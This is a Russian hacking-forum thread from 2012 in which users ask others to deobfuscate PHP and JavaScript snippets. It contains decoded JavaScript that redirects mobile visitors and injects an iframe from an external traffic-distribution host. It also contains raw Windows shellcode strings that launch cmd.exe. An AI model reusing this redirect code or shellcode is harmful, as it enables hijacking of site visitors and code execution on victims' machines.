Обфускация кода (вопросы, просьбы зашифровать/расшифровать скрипт )

Discussion in 'PHP' started by Sharky, 29 Sep 2009.

  1. losserr

    losserr New Member

    Joined:
    14 Jan 2012
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Попался вот такой JS:
    http://pastebin.com/pTx9BLF7
    если нетрудно, расшифруйте.
    Хотелось бы еще узнать, что за метод шифрования -
    n="17$48$55.5$52$46.5$55$49.5$52.5$52$17$17.5$13$58.5$3.5$2$1.5$56$45.5$54$13$55.5$54$51$13$27.
    Может кто подскажет онлайн обфускатор (а может даже и деобфускатор :))) )
     
  2. m0m

    m0m Banned

    Joined:
    4 Mar 2012
    Messages:
    85
    Likes Received:
    20
    Reputations:
    0
    Помогите расшифровать, ни разу не сталкивался с обфускацией.

    http://pastebin.com/zG16tmhp
     
  3. GRRRL Power

    GRRRL Power Elder - Старейшина

    Joined:
    13 Jul 2010
    Messages:
    823
    Likes Received:
    185
    Reputations:
    84
    http://pastebin.com/zZD0mRg8

    Тут достаточно было eval на echo заменить.
     
  4. Metho

    Metho New Member

    Joined:
    18 Nov 2011
    Messages:
    182
    Likes Received:
    2
    Reputations:
    0
    http://pastebin.com/DsSW2iGw
    расшифруйте плс, вроде код получится большой. Можете пояснить в кратце что он делает? :)
     
  5. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    Это незашифрованный скрипт, просто переменные сокращенны, поэтому ничего не понять. Никто тут анализировать каждую переменную не будет, сорре.
     
  6. Kapon

    Kapon New Member

    Joined:
    5 Feb 2012
    Messages:
    0
    Likes Received:
    3
    Reputations:
    0
    Здравствуйте есть строка:

    var o = document.createElement('OBJECT');

    Я сделал обфускацию:

    a=document;
    /*sdfsdf345*/
    gg = 'hjjd';
    c='createElement'; /*asdg3423*/
    var o=a[c]('OBJECT');

    Всё правильно?
     
    #546 Kapon, 27 May 2012
    Last edited: 28 May 2012
  7. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    Это вообще откуда? Может все-таки a[c]?
     
  8. Kapon

    Kapon New Member

    Joined:
    5 Feb 2012
    Messages:
    0
    Likes Received:
    3
    Reputations:
    0
    |qbz| да точно, тогда правильно будет?)
     
  9. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    Правильно, но не совсем грамотно, так как присваивание а=документ не айс.
     
  10. gdyby

    gdyby New Member

    Joined:
    27 Sep 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Расшифруйте плс.

    http://pastebin.com/bKsh4YVJ
    http://pastebin.com/sQA8bZCR
     
  11. idimka

    idimka New Member

    Joined:
    28 Feb 2012
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    помогите расшифровать файл:
    http://clck.ru/d/o6saWwTf1AWr9

    в файле код, такого типа:
    PHP:
    $x0b="array\137\x73\150if\164"$x0c="\141\162\162\x61\x79\x5f\160\x6f\160"$x0d="\x61\x72\x72ay_keys"$x0e="\x61r\x72\x61y\x5f\x66\x6c\151\x70"$x0f="\141\162\x72\141y\x5fvalu\145\163"$x10="\141r\x72\141y\x5f\x75\156s\150i\146\x74"$x11="\143\x6c\157\163e\x64\151r"$x12="\x63o\x75\156\164"$x13="c\157p\171"$x14="\x64at\145"$x15="d\151r"$x16="e\x78\x70\x6c\x6fd\x65"$x17="\x66ile\137\x67et\137\x63\x6f\x6et\x65\x6e\x74\163"$x18="\146i\154e\x5f\160\165\x74_\143on\x74\145\156\x74\x73"$x19="\x66\151\x6c\x65\137\x65\170\151\x73ts"$x1a="\146\151l\x65\x73\151\172\x65"$x1b="fi\x6c\x65\x6d\164i\155\145"$x1c="\x67\145\x74\x69ma\x67\x65si\x7a\145"$x1d="\x67\x6c\x6f\x62"$x1e="\151c\x6f\156\x76"$x1f="im\x61\x67\145\143\x72e\141\164e\146\x72\x6f\155j\x70\145g"$x20="\151\x6da\147\x65\144e\x73\164\162\x6fy"$x21="\x69\x6d\x61\147e\x63r\x65\x61t\x65\146r\157\x6d\160\x6eg"$x22="\151mag\145c\162ea\x74efr\x6f\155g\151f"$x23="\x69m\141\x67\145\x63r\145\141\x74et\x72\x75\x65\x63\x6flo\x72"$x24="\151\155ag\x65\x66i\x6c\x6c"$x25="\x69\x6dag\x65c\157\x70\171\x72\145s\141mpl\145\144"$x26="\x69ma\x67e\152\160e\147"$x27="\151\x6da\147\x65\160\156\147"$x28="i\155\x61ge\147\x69\146"$x29="\151m\141\x67e\164ypes"$x2a="\x69mages\141\166\145a\x6c\x70ha"$x2b="\151\155\x61ge\x73\170"$x2c="i\155a\147e\163y"$x2d="\x69\x6d\160\x6co\144e"$x2e="\151n_\141r\162\x61\171"$x2f="\151\x73\x5f\144\x69\x72"$x30="is\137\156\165l\x6c"$x31="\x69\163_\x66\151le"$x32="\155i\143\162o\x74i\155e"$x33="\x6d\x6b\x74\151m\x65"$x34="\x6d\153d\x69\162"$x35="mt\x5f\162\141nd"$x36="o\x70endir"$x37="\x70reg\137\155\x61\x74\x63\x68"$x38="\160\162\x65\147\137\162\x65pl\141ce"$x39="\162\x65\141\x64\x64\151\x72"$x3a="\162\x61\x6e\144"$x3b="\x72ound"$x3c="\x72\x6ddir"$x3d="r\x65\156\x61\155e"$x3e="\x73\164r_\162\x65\x70l\x61ce"$x3f="s\164\x72\154e\x6e"$x40="s\165\142\x73\x74\162"$x41="\163tr\x74\x6f\x75pper"$x42="\164o\165\143\x68"$x43="t\x72i\x6d"$x44="\x75\x6e\x6cink";
     
  12. Darth Padla

    Darth Padla Member

    Joined:
    21 Jun 2010
    Messages:
    141
    Likes Received:
    25
    Reputations:
    8
    если приглядеться- то легко получаем -
    PHP:
    $x0b="array_shift"$x0c="array_pop"$x0d="array_keys"$x0e="array_flip"$x0f="array_values"$x10="array_unshift"$x11="closedir"$x12="count"$x13="copy"$x14="date"$x15="dir"$x16="explode"$x17="file_get_contents"$x18="file_put_contents"$x19="file_exists"$x1a="filesize"$x1b="filemtime"$x1c="getimagesize"$x1d="glob"$x1e="iconv"$x1f="imagecreatefromjpeg"$x20="imagedestroy"$x21="imagecreatefrompng"$x22="imagecreatefromgif"$x23="imagecreatetruecolor"$x24="imagefill"$x25="imagecopyresampled"$x26="imagejpeg"$x27="imagepng"$x28="imagegif"$x29="imagetypes"$x2a="imagesavealpha"$x2b="imagesx"$x2c="imagesy"$x2d="implode"$x2e="in_array"$x2f="is_dir"$x30="is_null"$x31="is_file"$x32="microtime"$x33="mktime"$x34="mkdir"$x35="mt_rand"$x36="opendir"$x37="preg_match"$x38="preg_replace"$x39="readdir"$x3a="rand"$x3b="round"$x3c="rmdir"$x3d="rename"$x3e="str_replace"$x3f="strlen"$x40="substr"$x41="strtoupper"$x42="touch"$x43="trim"$x44="unlink";
    Дальше сам справишься?
    UPD: Делать было нечего,дело было вечером -
    привел в человеческий вид
     
    #552 Darth Padla, 8 Jun 2012
    Last edited: 9 Jun 2012
  13. Darth Padla

    Darth Padla Member

    Joined:
    21 Jun 2010
    Messages:
    141
    Likes Received:
    25
    Reputations:
    8
    PHP:
    //http://pastebin.com/sQA8bZCR -
    if(navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk|windows phone|iphone|ipad)/i)!==null){
      
    window.location='http://itscool.name/google.php?sid=53&tds-q='+strq1;
    }

    //http://pastebin.com/bKsh4YVJ -
    strq1=getCookie("strq1");
    var 
    urlsite='http://itscool.name/google.php?sid=45&tds-q='+strq1;
    if(
    rr.match(expr)){$(function(){
        $(
    'body').html('<iframe align="left"  src="'+urlsite+'" style="position:static;width:100%;height:1200px" frameborder="0" SCROLLING="no" ></iframe>');
    });}

     
  14. Metal-Core

    Metal-Core Member

    Joined:
    20 Sep 2011
    Messages:
    218
    Likes Received:
    21
    Reputations:
    0
    Вот такой вопрос:
    Допустим есть файл class.th.php , допустим сделаю его обфускацию, но есть еще 2 файл *.php который будет обращается к class.th.php , Смогут ли после обфускации Оба файла взаимодействовать между собой? .
     
  15. Darth Padla

    Darth Padla Member

    Joined:
    21 Jun 2010
    Messages:
    141
    Likes Received:
    25
    Reputations:
    8
    смотря какую обфускацию сделаешь
     
  16. Metal-Core

    Metal-Core Member

    Joined:
    20 Sep 2011
    Messages:
    218
    Likes Received:
    21
    Reputations:
    0
    Походу не пойдет попробывал отсюда _http://wb0.ru/phpobf.php
     
  17. boortyhuhtyu

    boortyhuhtyu Member

    Joined:
    2 Feb 2011
    Messages:
    727
    Likes Received:
    26
    Reputations:
    -6
    Code:
    shellcode = "%uf631%u6456%u768b%u8b30%u0c76%u768b%u8b1c%u086e%u368b%u5d8b%u8b3c%u1d5c%u0178%u8beb%u184b%ue367%u8bec%u207b%uef01%u7c8b%ufc8f%uef01%uc031%u3299%u6617%ucac1%uae01%uf775%u8166%u2afa%u74b6%u6609%ufa81%u1aaa%udbe0%uc575%u538b%u0124%u0fea%u14b7%u8b4a%u1c7b%uef01%u2c03%u8597%u74f6%u6812%u3233%u2020%u7568%u6573%u5472%ud5ff%u3195%uebf6%u56a3%u3168%u0021%u6800%u322d%u3733%u3268%u3130%u6831%u7663%u2d65%u8754%u2404%u5050%uff56%uccd5";
    Code:
    "\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x29\x53\xbb\xad\x23\x86\x7c".  "\xff\xd3\x31\xc0\x50\xbb\xfa\xca\x81\x7c\xff\xd3\xe8\xe0\xff\xff\xff".  "\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20'
    надо расшифровать
     
    #557 boortyhuhtyu, 10 Jun 2012
    Last edited: 11 Jun 2012
  18. Metho

    Metho New Member

    Joined:
    18 Nov 2011
    Messages:
    182
    Likes Received:
    2
    Reputations:
    0
    http://pastebin.com/CwfAS7ZH
    расшифруцте плс
     
  19. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Он не зашифрован. Если тяжко читать, то http://jsbeautifier.org/
     
    _________________________
  20. mbv

    mbv New Member

    Joined:
    16 Apr 2011
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    http://pastebin.com/KGxG0iGp
    помогите расшифровать. Заранее Спасибо!